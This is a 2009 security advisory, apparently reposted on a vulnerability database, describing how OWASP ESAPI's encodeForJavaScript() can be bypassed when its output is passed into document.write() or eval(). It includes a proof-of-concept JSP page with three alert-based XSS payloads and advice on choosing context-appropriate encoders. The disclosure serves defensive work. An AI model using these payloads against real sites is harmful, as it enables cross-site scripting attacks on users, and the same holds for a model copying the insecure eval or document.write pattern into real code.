OWASP ESAPI XSS Bypass

🗓️ 23 Aug 2009 00:00:00Reported by Inferno from Secure ThoughtsType
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Bypassing OWASP ESAPI XSS Protection in Javascrip
`Bypassing OWASP ESAPI XSS Protection inside Javascript  
------------------------------------------------------  
By Inferno (inferno {at} securethoughts {dot} com)  
  
Everyone knows the invaluable XSS cheat sheet maintained by "RSnake". It is  
all about breaking things and features all the scenarios that can result in  
XSS. To complement his efforts, there is an excellent XSS prevention cheat  
sheet created by "Jeff Williams" (Founder and CEO, Aspect Security). As far  
as I have seen, this wiki page provides the most comprehensive information  
on protecting yourself from XSS on the internet. It advises using the OWASP  
ESAPI api to mitigate any XSS arising from untrusted user input.  
  
I was evaluating this ESAPI api and the recommendations given on the wiki to  
see if there are any potential flaws. Any weakness impacts a very large  
number of users since many developers are using it to strengthen their web  
applications throughout the world. This is my way of contributing back to  
the community, but can never match the immense efforts put by Jeff and other  
OWASP team members in developing this library.  
  
I want to give you a little bit of background before diving into the real  
vulnerability. The XSS prevention cheat sheet classifies XSS protections by  
dividing them into broadly four buckets - HTML Body injection, HTML  
Attribute injection, Javascript injection and CSS injection. For each of  
these four buckets, there is an ESAPI function reference you can use for  
output escaping/encoding.  
  
If you allow any untrusted user input into javascript functions  
document.write() OR eval(), it can still execute the XSS even after you do  
the scrubbing using the ESAPI encodeForJavaScript() function. The reason  
being that hex escaped chars are converted back into normal chars at the  
time of execution of these functions.   
  
Here is the proof of concept jsp code:  
  
01.<%@page import="org.owasp.esapi.*"%>  
02.   
03.<%@page contentType="text/html" pageEncoding="UTF-8"%>  
04.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  
05. "http://www.w3.org/TR/html4/loose.dtd">  
06.   
07.<html>  
08. <head>  
09. <meta http-equiv="Content-Type" content="text/html;  
charset=UTF-8">  
10. <title>ESAPI XSS Protection Bypass</title>  
11. </head>  
12. <body>  
13. <h1>ESAPI XSS Protection Bypass</h1>  
14. <p id="tb1"/><br>  
15. <p id="tb2"/>  
16. <script>  
17. //in real scenario, these three strings come from  
request.getParameter or user input  
18. <%  
19. String vulstr1 = "-1';alert(0);";  
20. String vulstr2 = "<img src=x onerror=alert(1)>";  
21. String vulstr3 = "0,x setter=alert,x=2";  
22. %>   
23.   
24. // you can safely use it in places like this  
25. // Ex. vulstr1 is completely encapsulated in a and alert(0)  
not executed.  
26. var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1) %>';  
27. alert(a);  
28.   
29. // However, you can bypass protection in places like these  
30. // Ex. vulstr2 gets written to html and alert(1) executes  
31. document.write("<%=  
ESAPI.encoder().encodeForJavaScript(vulstr2) %>");  
32. // Ex. part of vulstr3 get assigned to u, rest alert(2)  
executes  
33. eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3)  
%>");  
34. </script>  
35. </body>  
36.</html>  
  
Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to  
review my idea and providing their insights. Jeremiah told me that he has  
seen such injections from time to time at WhiteHat and these do exist in the  
wild.  
  
Jeff confirmed that some documentation changes will fix this. I agree that  
no esapi code change is required, because function themselves are not  
insecure.  
  
But, if you are currently using esapi functions inside your javascript code,  
it is important that you re-review your javascript code and the places where  
your make calls to esapi functions.  
  
If you use the esapi function encodeForJavaScript() inside document.write,  
it is advised that you change them with other appropriate esapi functions  
depending on the context where the data is ultimately landing. For example,  
if you have document.write("<script>alert('XSS')</script>"), you know the  
data is landing in html body context, so it is appropriate to use  
encodeForHTML() wrapper. Using user input inside eval is less common, but  
more disastrous. The reason for this is you can still begin another command  
context using , and (space) char and it won't be encoded by function  
encodeForHTML(). So, it is better to avoid putting user input inside eval.  
  
Any more suggestions or discussion on fixes is highly welcome.  
  
Thanks and Regards,  
Inferno  
Security Researcher  
SecureThoughts.com  
  
`
23 Aug 2009 00:00Current
0.3Low risk
Vulners AI Score0.3
owasp esapi xss